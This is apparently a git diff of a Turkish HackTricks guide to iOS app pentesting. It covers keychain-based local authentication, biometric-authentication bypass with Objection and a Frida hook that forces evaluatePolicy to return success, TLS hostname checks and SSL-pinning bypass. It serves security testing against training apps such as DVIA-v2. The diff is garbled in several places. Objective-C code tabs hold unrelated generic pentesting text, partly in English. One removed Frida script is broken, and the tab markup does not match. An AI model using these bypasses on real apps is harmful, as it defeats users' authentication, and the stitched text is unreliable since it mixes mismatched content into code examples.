-- **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi için istekte bulunur, ikisi de etkinleştirilmediyse başarısız olur.
-- **`deviceOwnerAuthenticationWithBiometrics`**: Sadece Touch ID için istekte bulunur.
+Kullanıcıları kimlik doğrulaması için yönlendirmek için geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir, aşağıdakiler arasından seçim yaparak:
-Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen boolean bir değerle gösterilir ve potansiyel bir güvenlik açığına işaret eder.
+* **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi istemek, ikisi de etkin değilse başarısız olur.
+* **`deviceOwnerAuthenticationWithBiometrics`**: Yalnızca Touch ID istemek.
-### Anahtarlık Kullanarak Yerel Kimlik Doğrulama
+Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden gelen boolean bir değerle gösterilir, potansiyel bir güvenlik açığına işaret eder.
-iOS uygulamalarında **yerel kimlik doğrulama** uygulamak, kimlik doğrulama belirteçleri gibi gizli verileri güvenli bir şekilde depolamak için **anahtarlık API'larının** kullanılmasını içerir. Bu işlem, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulama kullanılarak erişilebileceğini sağlar.
+### Anahtarlık Kullanarak Yerel Kimlik Doğrulaması
-Anahtarlık, `SecAccessControl` özniteliğiyle öğeleri ayarlamak için yetenek sunar, bu da öğeye erişimi, kullanıcının Touch ID veya cihaz şifresiyle başarılı bir şekilde kimlik doğrulamasını gerektirir. Bu özellik güvenliği artırmak için önemlidir.
+iOS uygulamalarında **yerel kimlik doğrulaması** uygulamak, kimlik doğrulama belgeleri gibi sırlı verileri güvenli bir şekilde saklamak için **anahtarlık API'ları** kullanımını içerir. Bu süreç, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulama kullanılarak erişilebileceğini sağlar.
-Aşağıda, bu güvenlik özelliklerinden yararlanarak anahtarlığa bir dizeyi kaydetme ve geri almayı gösteren Swift ve Objective-C kod örnekleri bulunmaktadır. Örnekler, erişim kontrolünü Touch ID kimlik doğrulamasını gerektirecek şekilde ayarlama ve verinin yalnızca ayarlandığı cihazda erişilebilir olmasını sağlama konusunda özellikle göstermektedir.
+Anahtarlık, `SecAccessControl` özelliği ile öğeleri ayarlamayı sağlar, bu da kullanıcının Touch ID veya cihaz şifresi ile başarılı bir şekilde kimlik doğrulamasını yapana kadar öğeye erişimi kısıtlar. Bu özellik güvenliği artırmak için önemlidir.
+
+Aşağıda, Swift ve Objective-C'de bir dizeyi anahtarlığa kaydetme ve geri almayı gösteren kod örnekleri bulunmaktadır, bu güvenlik özelliklerini kullanarak erişim kontrolünü ayarlamayı ve verinin yalnızca ayarlandığı cihazda, bir cihaz şifresinin yapılandırıldığı koşul altında erişilebilir olmasını sağlamayı özellikle göstermektedir.
{% tabs %}
{% tab title="Swift" %}
@@ -825,21 +819,32 @@ if status == noErr {
// error while saving
}
```
+{% endtab %}
+
{% tab title="Objective-C" %}
-Objective-C dili, iOS uygulamaları geliştirmek için kullanılan bir programlama dilidir. Bu dil, Apple'ın Cocoa ve Cocoa Touch çerçevelerini kullanarak iOS platformunda çalışan uygulamalar oluşturmak için kullanılır.
+### iOS Uygulama Pentesting
-Objective-C dilinde iOS uygulamalarını hacklemek için çeşitli teknikler bulunmaktadır. Bu teknikler arasında uygulama analizi, tersine mühendislik, bellek analizi ve güvenlik açıklarının keşfi bulunur.
+Bu bölümde, iOS uygulamalarını pentest etmek için kullanılabilecek bazı temel teknikler ve araçlar hakkında bilgi bulabilirsiniz.
-Uygulama analizi, iOS uygulamasının çalışma mantığını anlamak için kullanılan bir tekniktir. Bu teknik, uygulamanın kaynak kodunu incelemek, API çağrılarını izlemek ve uygulamanın davranışını anlamak için kullanılır.
+#### Araçlar
-Tersine mühendislik, iOS uygulamasının çalışma prensibini anlamak için kullanılan bir tekniktir. Bu teknik, uygulamanın derlenmiş kodunu analiz etmek, işlevlerini ve veri yapılarını anlamak için kullanılır.
+- **MobSF**: Otomatik olarak iOS uygulamalarını analiz etmek için kullanılan açık kaynaklı bir mobil güvenlik çerçevesi.
+- **Needle**: iOS uygulamalarını test etmek için kullanılan bir framework.
+- **Cycript**: iOS uygulamalarını canlı olarak analiz etmek için kullanılan bir araç.
+- **Clutch**: iOS uygulamalarını kırıp çıkarmak için kullanılan bir araç.
+- **Frida**: Dinamik olarak iOS uygulamalarını manipüle etmek için kullanılan bir araç.
-Bellek analizi, iOS uygulamasının bellek kullanımını incelemek için kullanılan bir tekniktir. Bu teknik, uygulamanın bellek alanlarını izlemek, bellek sızıntılarını tespit etmek ve güvenlik açıklarını keşfetmek için kullanılır.
+#### Temel Teknikler
-Güvenlik açıklarının keşfi, iOS uygulamasında bulunan güvenlik açıklarını tespit etmek için kullanılan bir tekniktir. Bu teknik, uygulamanın zayıf noktalarını tespit etmek, yetkilendirme hatalarını bulmak ve veri sızıntılarını keşfetmek için kullanılır.
+- **Tersine Mühendislik**: Uygulamanın çalışma mantığını anlamak için kullanılır.
+- **Veri Depolama Analizi**: Uygulamanın yerel olarak depoladığı hassas verileri bulmak için kullanılır.
+- **Ağ Trafik Analizi**: Uygulamanın ağ trafiğini izleyerek hassas verilerin nasıl iletilip alındığını anlamak için kullanılır.
+- **Güvenlik Zafiyetleri Analizi**: Uygulamada yaygın güvenlik zafiyetlerini araştırmak için kullanılır.
-Objective-C dilini kullanarak iOS uygulamalarını hacklemek için bu teknikleri kullanabilirsiniz. Ancak, bu teknikleri yasal ve etik sınırlar içinde kullanmanız önemlidir.
+Bu temel teknikler ve araçlar, iOS uygulamalarını pentest etmek için başlangıç noktanız olabilir. Daha fazla bilgi edinmek ve becerilerinizi geliştirmek için pratik yapmayı unutmayın!
+
+{% endtab %}
```objectivec
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;
@@ -870,10 +875,7 @@ if (status == noErr) {
{% endtab %}
{% endtabs %}
-Şimdi anahtar zincirinden kaydedilen öğeyi isteyebiliriz. Anahtar zinciri hizmetleri, kullanıcıya kimlik doğrulama iletişim kutusunu sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veri veya nil döndürecektir.
-
-{% tabs %}
-{% tab title="Swift" %}
+Artık anahtarlıkta kaydedilen öğeyi isteyebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama iletişim kutusunu sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veri veya nil döndürecektir.
```swift
// 1. define query
var query = [String: Any]()
@@ -896,21 +898,38 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
// authorization not passed
}
```
+{% endtab %}
+
{% tab title="Objective-C" %}
-Objective-C dili, iOS uygulamaları geliştirmek için kullanılan bir programlama dilidir. Bu dil, Apple'ın Cocoa ve Cocoa Touch çerçevelerini kullanarak iOS platformunda çalışan uygulamalar oluşturmak için kullanılır.
+## Objective-C
-Objective-C dilinde iOS uygulamalarını hacklemek için çeşitli teknikler bulunmaktadır. Bu teknikler arasında uygulama analizi, tersine mühendislik, bellek analizi ve güvenlik açıklarının keşfi bulunur.
+Objective-C is the primary programming language used for iOS app development. When performing iOS pentesting, it is essential to understand Objective-C code to identify security vulnerabilities effectively.
-Uygulama analizi, iOS uygulamasının çalışma mantığını anlamak için kullanılan bir tekniktir. Bu teknik, uygulamanın kaynak kodunu incelemek, API çağrılarını izlemek ve uygulamanın davranışını anlamak için kullanılır.
+### Tools for Analyzing Objective-C Code
-Tersine mühendislik, iOS uygulamasının çalışma prensibini anlamak için kullanılan bir tekniktir. Bu teknik, uygulamanın derlenmiş kodunu analiz etmek, işlevlerini ve veri yapılarını anlamak için kullanılır.
+There are several tools available for analyzing Objective-C code during iOS pentesting:
-Bellek analizi, iOS uygulamasının bellek kullanımını incelemek için kullanılan bir tekniktir. Bu teknik, uygulamanın bellek alanlarını izlemek, bellek sızıntılarını tespit etmek ve güvenlik açıklarını keşfetmek için kullanılır.
+1. **Hopper Disassembler**: A reverse engineering tool that can be used to disassemble, decompile, and debug applications.
-Güvenlik açıklarının keşfi, iOS uygulamasında bulunan güvenlik açıklarını tespit etmek için kullanılan bir tekniktir. Bu teknik, uygulamanın zayıf noktalarını tespit etmek, yetkilendirme hatalarını bulmak ve veri sızıntılarını keşfetmek için kullanılır.
+2. **class-dump**: A command-line utility that generates Objective-C headers from Mach-O files.
-Objective-C dilini kullanarak iOS uygulamalarını hacklemek için bu teknikleri kullanabilirsiniz. Ancak, bu teknikleri yasal ve etik sınırlar içinde kullanmanız önemlidir.
+3. **otool**: A command-line tool for examining the contents of Mach-O files.
+
+4. **IDA Pro**: A powerful disassembler and debugger that supports Objective-C.
+
+### Common Vulnerabilities in Objective-C Code
+
+Some common security vulnerabilities found in Objective-C code include:
+
+- **Insecure Data Storage**: Storing sensitive data in an insecure manner.
+- **Input Validation Issues**: Failing to properly validate user input.
+- **Insecure Communication**: Transmitting data over insecure channels.
+- **Memory Management Errors**: Improper handling of memory can lead to vulnerabilities like buffer overflows.
+
+By using the mentioned tools and understanding common vulnerabilities, security professionals can effectively identify and mitigate security risks in Objective-C code during iOS pentesting.
+
+{% endtab %}
```objectivec
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
@@ -931,36 +950,26 @@ NSLog(@"%@", password);
NSLog(@"Something went wrong");
}
```
-{% endtab %}
-{% endtabs %}
-
### Tespit
-Bir uygulamada kullanılan çerçeveler, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek tespit edilebilir. Bunun için `otool` kullanılabilir:
+Uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz edilerek de tespit edilebilir. Bunun için `otool` kullanılabilir:
```bash
$ otool -L .app/
```
-Eğer bir uygulamada `LocalAuthentication.framework` kullanılıyorsa, çıktı aşağıdaki iki satırı içerecektir (unutmayın ki `LocalAuthentication.framework`, arka planda `Security.framework` kullanır):
-
-```plaintext
-- Security.framework
-- LocalAuthentication.framework
-```
-
-Eğer bir uygulama `LocalAuthentication.framework` kullanmıyorsa, çıktı sadece `Security.framework` satırını içerecektir.
+Eğer bir uygulamada `LocalAuthentication.framework` kullanılıyorsa, çıktı hem aşağıdaki satırları içerecektir (unutmayın ki `LocalAuthentication.framework` aslında `Security.framework`'ü kullanır):
```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
```
Eğer `Security.framework` kullanılıyorsa, sadece ikinci olan gösterilecektir.
-### Yerel Kimlik Doğrulama Çerçevesi Atlama
+### Yerel Kimlik Doğrulama Çerçevesi Atlatma
#### **Objection**
-**Objection Biometrics Bypass** üzerinden, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) yer alan bir teknik, **LocalAuthentication** mekanizmasını aşmak için kullanılabilir. Bu yaklaşımın temelinde, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'nın kullanılması yer alır ve bu sayede gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için oldukça kullanışlıdır.
+**Objection Biyometrik Atlatma** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın özü, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'yı kullanmaktır, böylece gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu vermesini sağlar. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için özellikle yararlıdır.
-Bu atlama işlemini etkinleştirmek için aşağıdaki komut kullanılır:
+Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır:
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
@@ -969,11 +978,11 @@ Bu atlama işlemini etkinleştirmek için aşağıdaki komut kullanılır:
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```
-Bu komut, Objection'ın `evaluatePolicy` kontrolünün sonucunu etkili bir şekilde `True` olarak değiştiren bir görev kaydeder.
+Bu komut, Objection'ın bir görev kaydettiği bir sıra başlatır ve `evaluatePolicy` kontrolünün sonucunu etkili bir şekilde `True` olarak değiştirir.
#### Frida
-[DVIA-v2 uygulaması](https://github.com/prateek147/DVIA-v2)ndan bir **`evaluatePolicy`** kullanımı örneği:
+[DVIA-v2 uygulaması](https://github.com/prateek147/DVIA-v2)'ndan **`evaluatePolicy`** kullanımına bir örnek:
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
@@ -1001,19 +1010,9 @@ dispatch_async(dispatch_get_main_queue(), ^{
}
}
```
-**Bypass** işlemini gerçekleştirmek için, bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alır ve geri çağırımını değiştirerek her zaman **success=1** döndürülmesini sağlar. Geri çağırımın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılır.
+**Yerel Kimlik Doğrulaması**nın **atlatılması** için bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alarak, geri aramasını onaylamak için **success=1** değerini döndürmesini sağlar. Geri aramanın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılır.
-Aşağıdaki betik, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri çağırımın sonucunu her zaman başarı olarak gösterir.
-
-```javascript
-// Frida script to bypass Local Authentication
-Java.perform(function() {
- var LAContext = Java.use('LocalAuthentication.LAContext');
- LAContext.evaluatePolicy_withReply_implementation.implementation = function(policy, reply) {
- reply(1, null);
- };
-});
-```
+Aşağıdaki betik, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri aramanın sonucunu her zaman başarı olarak gösterir.
```swift
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
@@ -1035,11 +1034,11 @@ return result;
console.log("Objective-C Runtime is not available!");
}
```
-Frida betiği enjekte etmek ve biyometrik kimlik doğrulamayı atlamak için aşağıdaki komut kullanılır:
+Frida betiği enjekte etmek ve biyometrik kimlik doğrulamasını atlamak için aşağıdaki komut kullanılır:
```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
-## IPC Aracılığıyla Hassas İşlevlerin Açığa Çıkarılması
+## IPC Aracılığıyla Hassas Fonksiyonelliğin Açığa Çıkması
### Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar
@@ -1085,56 +1084,56 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
## Ağ İletişimi
-**Şifreleme olmadan** gerçekleşen iletişimin olmadığını ve uygulamanın sunucunun **TLS sertifikasını doğru bir şekilde doğruladığını** kontrol etmek önemlidir.\
+**Şifreleme olmadan** gerçekleşen iletişimi kontrol etmek önemlidir ve ayrıca uygulamanın sunucunun TLS sertifikasını doğru bir şekilde **doğruladığından** emin olmak da önemlidir.\
Bu tür sorunları kontrol etmek için **Burp** gibi bir proxy kullanabilirsiniz:
{% content-ref url="burp-configuration-for-ios.md" %}
[burp-configuration-for-ios.md](burp-configuration-for-ios.md)
{% endcontent-ref %}
-### Ana bilgisayar adı kontrolü
+### Ana Bilgisayar Adı Kontrolü
-TLS sertifikasını doğrularken yaygın bir sorun, sertifikasının **güvenilir bir CA tarafından imzalandığını** kontrol etmek, ancak sertifikasının erişilen ana bilgisayar adı olup olmadığını **kontrol etmemektir**.\
-Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, **farklı bir ana bilgisayar adı için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, bir şeyin savunmasız olduğu anlamına gelir.
+TLS sertifikasını doğrularken karşılaşılan yaygın bir sorun, sertifikanın bir **güvenilir CA** tarafından imzalandığını kontrol etmek, ancak sertifikanın **erişilen ana bilgisayar adı** olup olmadığını kontrol etmemektir.\
+Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, Burp ile farklı bir ana bilgisayar adı için yeni bir sertifika **oluşturabilir ve kullanabilirsiniz**. Uygulama hala çalışıyorsa, bir zafiyet olabilir.
### Sertifika Pinleme
-Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika olduğunda çalışır. Bir uygulamayı test ederken, Burp kendi sertifikasını sunacağından bu bir sorun olabilir.\
-Bu korumayı bir jailbroken cihazda atlamak için, [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) uygulamasını veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) uygulamasını yükleyebilirsiniz.
+Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika olduğunda çalışır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunar.**\
+Bu korumayı bir jailbroken cihazda atlamak için, uygulamayı [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz.
-Ayrıca **objection**'ın `ios sslpinning disable` komutunu da kullanabilirsiniz.
+Ayrıca **objection**'ın `ios sslpinning disable` komutunu kullanabilirsiniz.
## Çeşitli
-* **`/System/Library`** dizininde, sistem uygulamaları tarafından kullanılan telefona yüklenen çerçeveleri bulabilirsiniz.
-* Kullanıcının App Store'dan yüklediği uygulamalar **`/User/Applications`** dizininde bulunur.
+* **`/System/Library`** dizininde, sistem uygulamaları tarafından kullanılan telefon üzerinde yüklü çerçeveleri bulabilirsiniz.
+* Kullanıcı tarafından App Store'dan yüklenen uygulamalar **`/User/Applications`** dizininde bulunur.
* Ve **`/User/Library`** kullanıcı düzeyindeki uygulamalar tarafından kaydedilen verileri içerir.
* Uygulama içinde kaydedilen notları okumak için **`/User/Library/Notes/notes.sqlite`**'e erişebilirsiniz.
-* Yüklenen bir uygulamanın klasörü içinde (**`/User/Applications//`**) bazı ilginç dosyalar bulabilirsiniz:
-* **`iTunesArtwork`**: Uygulama tarafından kullanılan simge
-* **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri
-* **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka planda gönderilmeden önce yapılan anlık görüntüsünü bulabilirsiniz.
+* Yüklenmiş bir uygulamanın klasörü içinde (**`/User/Applications//`**) bazı ilginç dosyalar bulabilirsiniz:
+ * **`iTunesArtwork`**: Uygulama tarafından kullanılan simge
+ * **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri
+ * **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka plana gönderilmeden önce yapılan anlık görüntüleri bulabilirsiniz.
-### Sıcak Yama / Zorunlu Güncelleme
+### Sıcak Yama/Zorunlu Güncelleme
-Geliştiriciler, uygulamalarının tüm kurulumlarını yeniden göndermek ve onaylanmasını beklemek zorunda kalmadan anında **tüm kurulumlarını uzaktan düzeltebilirler**.\
-Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch) kullanılır. Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de vardır.\
+Geliştiriciler, uygulamalarının tüm yüklemelerini **anında uzaktan yamalayabilir** ve uygulamayı App Store'a yeniden gönderip onaylanmasını beklemek zorunda kalmazlar.\
+Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch) gibi araçlar kullanılır. Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de mevcuttur.\
**Bu, kötü niyetli üçüncü taraf SDK'ları tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme için hangi yöntemin kullanıldığını kontrol etmeniz ve test etmeniz önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz.
-### Üçüncü Taraf Hizmetleri
+### Üçüncü Taraflar
-**3. taraf SDK'ları** ile ilgili önemli bir zorluk, bu SDK'ların işlevlerinin **ayrıntılı kontrolünün eksikliği**dir. Geliştiriciler bir seçimle karşı karşıyadır: SDK'yı entegre etmek ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul etmek veya tamamen faydalarından vazgeçmek. Bu SDK'lar içindeki güvenlik açıklarını kendileri yamalayamazlar. Dahası, SDK'lar toplulukta güven kazandıkça, bazıları kötü amaçlı yazılım içerebilir.
+**3. taraf SDK'ları** ile önemli bir zorluk, işlevsellikleri üzerinde **ayrıntılı kontrol eksikliğidir**. Geliştiriciler, ya SDK'yı entegre eder ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul eder ya da tamamen faydalarından vazgeçer. Genellikle, geliştiriciler bu SDK'ların içindeki güvenlik açıklarını kendileri yamayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içerebilir.
-Üçüncü taraf SDK'ların sağladığı hizmetler, kullanıcı davranış izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmeleri gibi olabilir. Ancak bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamasına ve potansiyel gizlilik ve güvenlik risklerine yol açabilecek potansiyel risklere neden olur. Üçüncü taraf hizmetlerle paylaşılan bilgilerin, Kişisel Tanımlanabilir Bilgilerin (PII) ifşa edilmesini önlemek için **anonimleştirilmesi** önemlidir.
+Üçüncü taraf SDK'ların sağladığı hizmetler arasında kullanıcı davranışlarını izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmeleri bulunabilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamalarına ve potansiyel gizlilik ve güvenlik risklerine yol açabilir. Üçüncü taraf hizmetlerle paylaşılan bilgilerin sınırlı olması ve hassas verilerin açığa çıkarılmamasının sağlanması önemlidir.
-Bir uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalı ve ek kütüphaneler keşfedilmelidir.
+Uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalıdır, böylece ek kütüphaneler keşfedilebilir.
```bash
otool -L
```
## **Referanslar ve Daha Fazla Kaynak**
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
-* [iOS ve Mobil Uygulama Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
+* [iOS & Mobil Uygulama Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/)
@@ -1155,28 +1154,28 @@ otool -L
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
-* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C sürümü [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift sürümü
+* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C versiyonu [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift versiyonu
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
+Sıfırdan kahraman olacak şekilde AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
-* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
index e6be136b8..2b09b92ca 100644
--- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
+++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
@@ -2,81 +2,86 @@
-AWS hacklemeyi sıfırdan kahraman olmaya öğreninhtARTE (HackTricks AWS Red Team Expert)!
+AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'ı desteklemenin diğer yolları:
+HackTricks'i desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
